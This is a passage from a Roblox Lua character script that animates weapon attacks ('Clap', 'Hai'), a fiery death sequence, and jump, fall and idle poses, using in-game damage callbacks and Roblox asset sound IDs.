    attack=false
4472
    con1:disconnect()
4473
    con2:disconnect()
4474
if TrailDeb == true then
4475
						TrailDeb = false
4476
end
4477
end
4478
4479
function Clap()
4480
    attack=true
4481
    mana=mana-20
4482
if TrailDeb == false then
4483
							TrailDeb = true
4484
						end
4485
						
4486
4487
coroutine.wrap(function()
4488
local Old = Handle2.CFrame.p
4489
while wait()do
4490
if not TrailDeb then break end
4491
local New = Handle2.CFrame.p
4492
local Mag =(Old -New).magnitude
4493
local Dis =(Old +New)/2
4494
local Trail = Instance.new("Part",Character)
4495
Trail.Material = "Neon"
4496
Trail.Anchored = true
4497
Trail.CanCollide = false
4498
Trail.BrickColor = TorsoColor
4499
Trail.Size = Vector3.new(0.2,Mag,0.2)
4500
Trail.TopSurface = 0
4501
Trail.BottomSurface = 0
4502
Trail.formFactor = "Custom"
4503
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4504
local ms = Instance.new("BlockMesh",Trail)
4505
ms.Scale = Vector3.new(1,1,1)
4506
local TM = Instance.new("CylinderMesh",Trail)
4507
TM.Scale = Vector3.new(1,1,1)
4508
Old = New
4509
coroutine.wrap(function()
4510
for i = 1,0,-0.1 do
4511
wait()
4512
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4513
end
4514
Trail:remove()
4515
end)()
4516
coroutine.wrap(function()
4517
for i = 1,10 do
4518
wait()
4519
Trail.Transparency = Trail.Transparency +0.1
4520
end end)()end end)()
4521
coroutine.wrap(function()
4522
local Old = Handle.CFrame.p
4523
while wait()do
4524
if not TrailDeb then break end
4525
local New = Handle.CFrame.p
4526
local Mag =(Old -New).magnitude
4527
local Dis =(Old +New)/2
4528
local Trail = Instance.new("Part",Character)
4529
Trail.Material = "Neon"
4530
Trail.Anchored = true
4531
Trail.CanCollide = false
4532
Trail.BrickColor = TorsoColor
4533
Trail.Size = Vector3.new(0.2,Mag,0.2)
4534
Trail.TopSurface = 0
4535
Trail.BottomSurface = 0
4536
Trail.formFactor = "Custom"
4537
Trail.CFrame = CFrame.new(Dis,New)* CFrame.Angles(math.pi/2,0,0)
4538
local ms = Instance.new("BlockMesh",Trail)
4539
ms.Scale = Vector3.new(1,1,1)
4540
local TM = Instance.new("CylinderMesh",Trail)
4541
TM.Scale = Vector3.new(1,1,1)
4542
Old = New
4543
coroutine.wrap(function()
4544
for i = 1,0,-0.1 do
4545
wait()
4546
TM.Scale = TM.Scale * Vector3.new(i,1,i)
4547
end
4548
Trail:remove()
4549
end)()
4550
coroutine.wrap(function()
4551
for i = 1,10 do
4552
wait()
4553
Trail.Transparency = Trail.Transparency +0.1
4554
end end)()end end)()
4555
    con1=Gear2.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4556
    con2=Gear.Touched:connect(function(hit) Damagefunc(hit,20,30,math.random(20,40),"Normal",RootPart,.2,1) end) 
4557
    so("http://www.roblox.com/asset/?id=159882584",Torso,1,0.9) 
4558
    for i=0,1,0.08 do
4559
        swait()
4560
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4561
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4562
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4563
        Handle2weld.C0=clerp(Handle2weld.C0,cf(-5,1,-5)*angles(math.rad(0),math.rad(-40),math.rad(20)),.2)
4564
        Handleweld.C0=clerp(Handleweld.C0,cf(5,1,-5)*angles(math.rad(0),math.rad(40),math.rad(-20)),.2)
4565
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-30,0,-20),.3)
4566
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-30,0,20),.3)
4567
    end
4568
    so("http://www.roblox.com/asset/?id=231917758",Handle2,1,.8) 
4569
    so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4570
    for i=0,1,0.08 do
4571
        swait()
4572
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4573
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4574
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4575
        Handle2weld.C0=clerp(Handle2weld.C0,cf(4,1,-5)*angles(math.rad(0),math.rad(-43),math.rad(20)),.2)
4576
        Handleweld.C0=clerp(Handleweld.C0,cf(-4,1,-5)*angles(math.rad(0),math.rad(43),math.rad(-20)),.2)
4577
        LW.C0=clerp(LW.C0,cf(-1,0.5,-1)*euler(-30,0,20),.3)
4578
        RW.C0=clerp(RW.C0,cf(1,0.5,-1)*euler(-30,0,-20),.3)
4579
    end
4580
    --dmgstop()
4581
    attack=false
4582
    con1:disconnect()
4583
    con2:disconnect()
4584
if TrailDeb == true then
4585
						TrailDeb = false
4586
end
4587
end
4588
4589
function Hai()
4590
    attack=true
4591
    Humanoid.WalkSpeed=0
4592
    so("http://www.roblox.com/asset/?id=159882567",Torso,1,1)
4593
    for i=0,1,0.1 do
4594
        swait()
4595
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4596
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4597
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4598
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4599
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4600
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4601
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4602
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4603
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4604
    end
4605
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8) 
4606
for i=0,1,0.1 do
4607
        swait()
4608
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4609
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4610
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4611
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4612
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4613
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4614
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4615
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5)
4616
       	LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4617
    end
4618
     so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4619
for i=0,1,0.1 do
4620
        swait()
4621
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4622
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4623
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4624
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4625
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4626
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4627
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4628
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4629
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4630
       
4631
    end
4632
so("http://www.roblox.com/asset/?id=231917758",Handle,1,.8)
4633
for i=0,1,0.1 do
4634
        swait()
4635
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4636
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4637
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4638
        Handleweld.C0=clerp(Handleweld.C0,cf(3,8,0)*angles(math.rad(0),math.rad(-20),math.rad(-30)),.2)
4639
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4640
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4641
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4642
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3)
4643
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4644
    end
4645
so("http://www.roblox.com/asset/?id=231917758",Handle,1,1) 
4646
for i=0,1,0.1 do
4647
        swait()
4648
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3)
4649
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2)
4650
        handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2)
4651
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,3)*angles(math.rad(20),math.rad(-20),math.rad(20)),.2)
4652
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(5),math.rad(0),math.rad(0)),.2)
4653
		RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4654
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3)
4655
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3)
4656
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3)
4657
    end
4658
    --dmgstop()
4659
    Humanoid.WalkSpeed=12
4660
    attack=false
4661
end
4662
4663
function Die()
4664
    attack=true
4665
Footsteps:Stop()
4666
Footsteps2:Stop()
4667
local Fire = it("Sound",Character.Torso)
4668
Fire.SoundId = "rbxassetid://192104941"
4669
Fire.Looped = true
4670
Fire.Pitch = 1
4671
Fire.Volume = 1
4672
local Fire2 = it("Sound",Handle2)
4673
Fire2.SoundId = "rbxassetid://192104941"
4674
Fire2.Looped = true
4675
Fire2.Pitch = 1
4676
Fire2.Volume = 1
4677
local Fire3 = it("Sound",Handle)
4678
Fire3.SoundId = "rbxassetid://192104941"
4679
Fire3.Looped = true
4680
Fire3.Pitch = 1
4681
Fire3.Volume = 1
4682
local Fire4 = it("Sound",handle)
4683
Fire4.SoundId = "rbxassetid://192104941"
4684
Fire4.Looped = true
4685
Fire4.Pitch = 1
4686
Fire4.Volume = 1
4687
local fire = Instance.new("ParticleEmitter", Character.Torso)
4688
fire.Lifetime = NumberRange.new(0.5)
4689
fire.Speed = NumberRange.new(1, 3)
4690
fire.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4691
fire.Rate = 0
4692
fire.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4693
fire.LightEmission = 0.6
4694
fire.Texture = "http://www.roblox.com/asset/?id=242911609"
4695
fire.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4696
local fire2 = Instance.new("ParticleEmitter", Handle)
4697
fire2.Lifetime = NumberRange.new(0.5)
4698
fire2.Speed = NumberRange.new(1, 3)
4699
fire2.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4700
fire2.Rate = 0
4701
fire2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4702
fire2.LightEmission = 0.6
4703
fire2.Texture = "http://www.roblox.com/asset/?id=242911609"
4704
fire2.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4705
local fire3 = Instance.new("ParticleEmitter", Handle2)
4706
fire3.Lifetime = NumberRange.new(0.5)
4707
fire3.Speed = NumberRange.new(1, 3)
4708
fire3.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 6.564, 5.521), NumberSequenceKeypoint.new(1, 6.534, 5.521)})
4709
fire3.Rate = 0
4710
fire3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4711
fire3.LightEmission = 0.6
4712
fire3.Texture = "http://www.roblox.com/asset/?id=242911609"
4713
fire3.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4714
local fire4 = Instance.new("ParticleEmitter", handle)
4715
fire4.Lifetime = NumberRange.new(0.5)
4716
fire4.Speed = NumberRange.new(1, 3)
4717
fire4.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 3.564, 2.521), NumberSequenceKeypoint.new(1, 3.534, 2.521)})
4718
fire4.Rate = 0
4719
fire4.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.627, 0.587), NumberSequenceKeypoint.new(1, 1)})
4720
fire4.LightEmission = 0.6
4721
fire4.Texture = "http://www.roblox.com/asset/?id=242911609"
4722
fire4.Color = ColorSequence.new(Color3.new(1, 0, 0), Color3.new(1, 0.666667, 0))
4723
    Humanoid.WalkSpeed = 0
4724
    so("http://www.roblox.com/asset/?id=199149297",Head,1,1)
4725
    so("http://www.roblox.com/asset/?id=209527203",Head,1,1)
4726
    for i=0,1,0.08 do
4727
        swait()
4728
        Torso.Velocity=RootPart.CFrame.lookVector*-30
4729
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,0)*angles(math.rad(-45),math.rad(0),math.rad(90)),.2)
4730
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(45)),.2)
4731
        handleweld.C0=clerp(handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4732
        Handleweld.C0=clerp(Handleweld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4733
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,5,0)*angles(math.rad(45),math.rad(0),math.rad(0)),.2)
4734
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(90),math.rad(0),math.rad(45)),.2)
4735
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-45)),.2)
4736
        RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4737
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-10),math.rad(0),math.rad(0)),.2)
4738
    end
4739
    for i=0,1,0.005 do
4740
        swait()
4741
        light.Range=15-10*i
4742
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4743
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4744
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4745
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4746
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4747
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4748
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4749
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4750
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4751
    end
4752
light.Range=0
4753
    for i=0,1,0.01 do
4754
        swait()
4755
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4756
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4757
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4758
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4759
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4760
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4761
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4762
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4763
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4764
    end
4765
    so("http://www.roblox.com/asset/?id=209527175",Head,1,0.9)
4766
    fire.Rate = 1000
4767
    fire2.Rate = 1000
4768
    fire3.Rate = 1000
4769
    fire4.Rate = 1000
4770
	Fire:Play()
4771
	Fire2:Play()
4772
	Fire3:Play()
4773
	Fire4:Play()
4774
    for i=0,1,0.005 do
4775
        swait()
4776
Character.Head.face.Transparency = 0+1*i
4777
LeftArm.Transparency=0+1*i
4778
RightArm.Transparency=0+1*i
4779
LeftLeg.Transparency=0+1*i
4780
RightLeg.Transparency=0+1*i
4781
Head.Transparency=0+1*i
4782
Torso.Transparency=0+1*i
4783
for _,v in pairs(Character:children()) do
4784
                if v:IsA("Hat") then
4785
                        v.Handle.Transparency = 0+1*i
4786
		RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,1,-2.5)*angles(math.rad(-90),math.rad(0),math.rad(180)),.2)
4787
        Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(0),math.rad(0),math.rad(90)),.4)
4788
        handleweld.C0=clerp(handleweld.C0,cf(0,10,-5)*angles(math.rad(60),math.rad(30),math.rad(30)),.2)
4789
        Handleweld.C0=clerp(Handleweld.C0,cf(0,20,-5)*angles(math.rad(150),math.rad(0),math.rad(0)),.2)
4790
        Handle2weld.C0=clerp(Handle2weld.C0,cf(0,20,-5)*angles(math.rad(90),math.rad(0),math.rad(0)),.2)
4791
        RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(180),math.rad(0),math.rad(90)),.2)
4792
        LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(0),math.rad(0),math.rad(-90)),.2)
4793
       	RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4794
		LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4795
    end
4796
    end
4797
    --dmgstop()
4798
end
4799
Humanoid.Health = 0
4800
end
4801
4802
equipanim()
4803
4804
local sine = 0
4805
local change = 1
4806
local val = 0
4807
4808
local mananum=0
4809
while true do
4810
swait()
4811
sine = sine + change
4812
local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude 
4813
local velderp=RootPart.Velocity.y
4814
hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character)
4815
if equipped==true or equipped==false then
4816
if Anim=="Idle" and attack==false then
4817
idle=idle+1
4818
else
4819
idle=0
4820
end
4821
if Humanoid.Health <=20 then
4822
if attack == false then
4823
Humanoid.Health = math.huge
4824
Die()
4825
end
4826
end
4827
if idle>=1000 then
4828
if attack==false then
4829
--Sheath()
4830
end
4831
end
4832
if RootPart.Velocity.y > 1 and hitfloor==nil then 
4833
Anim="Jump"
4834
if attack==false then
4835
Footsteps:Stop()
4836
Footsteps2:Stop()
4837
Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3)
4838
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4839
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3)
4840
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3)
4841
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4842
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3)
4843
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4844
RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2)
4845
LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2)
4846
handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(0),math.rad(0)),.2)
4847
Handleweld.C0=clerp(Handleweld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(20),math.rad(0)),.2)
4848
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,0,0)*angles(math.rad(20),math.rad(-20),math.rad(0)),.2)
4849
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4850
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4851
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4852
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4853
end
4854
elseif RootPart.Velocity.y < -1 and hitfloor==nil then 
4855
Anim="Fall"
4856
if attack==false then
4857
Footsteps:Stop()
4858
Footsteps2:Stop()
4859
Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3)
4860
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3)
4861
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3)
4862
RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3)
4863
RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4864
LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3)
4865
LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3)
4866
RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2)
4867
LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2)
4868
handleweld.C0=clerp(handleweld.C0,cf(0,0,-1)*angles(math.rad(-20),math.rad(0),math.rad(0)),.2)
4869
Handleweld.C0=clerp(Handleweld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(-10),math.rad(0)),.2)
4870
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-1,0)*angles(math.rad(-20),math.rad(10),math.rad(0)),.2)
4871
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4872
            MotorTwoWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
4873
            MotorThumbWeld.C0 = clerp(MotorThumbWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4874
            MotorThumbTwoWeld.C0 = clerp(MotorThumbTwoWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 - 0.5 * math.cos((sine) / 16)) * angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
4875
end
4876
elseif torvel<1 and hitfloor~=nil then
4877
Anim="Idle"
4878
change=0.5
4879
if idle>=1000 then
4880
if attack==false then
4881
Footsteps:Stop()
4882
Footsteps2:Stop()
4883
Humanoid.WalkSpeed=12
4884
RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,6-0.25*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(10)),.1)
4885
Neck.C0=clerp(Neck.C0,necko*angles(math.rad(5+2*math.cos(sine/5.5)),math.rad(-20-2*math.cos(sine/5.5)),math.rad(-9)),.1)
4886
Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1)
4887
RW.C0=clerp(RW.C0,cf(1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(-25)),.5)
4888
LW.C0=clerp(LW.C0,cf(-1.2, 0.5, 0.1)*angles(math.rad(205),math.rad(0),math.rad(25)),.5)
4889
RH.C0=clerp(RH.C0,cf(1,-0.5,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(10),math.rad(0),math.rad(0)),.1)
4890
LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(15),math.rad(0),math.rad(24)),.3)
4891
handleweld.C0=clerp(handleweld.C0,cf(0,1.5+2.5*math.cos(sine/62*2),0)*angles(math.rad(90),math.rad(0),math.rad(60-180*math.cos(sine/50))),.3)
4892
Handleweld.C0=clerp(Handleweld.C0,cf(0,-0.5-0.85*math.cos(sine/62*2),0)*angles(math.rad(0),math.rad(-0-180*2.5*math.cos(sine/62*2)),math.rad(0)),.4)
4893
Handle2weld.C0=clerp(Handle2weld.C0,cf(0,-0.5+0.85*math.cos(sine/48),0)*angles(math.rad(0),math.rad(-180-180*2.5*math.cos(sine/62*2)),math.rad(180)),.3)
4894
            MotorOneWeld.C0 = clerp(MotorOneWeld.C0, cf(0, 0 + 0.5 * math.cos((sine) / 13), 0 + 0.5 * math.cos((sine) / 13)) * angles(math.rad(0 + 0.5 * math.cos((sine) / 8)), math.rad(0), math.rad(0)), 0.3)
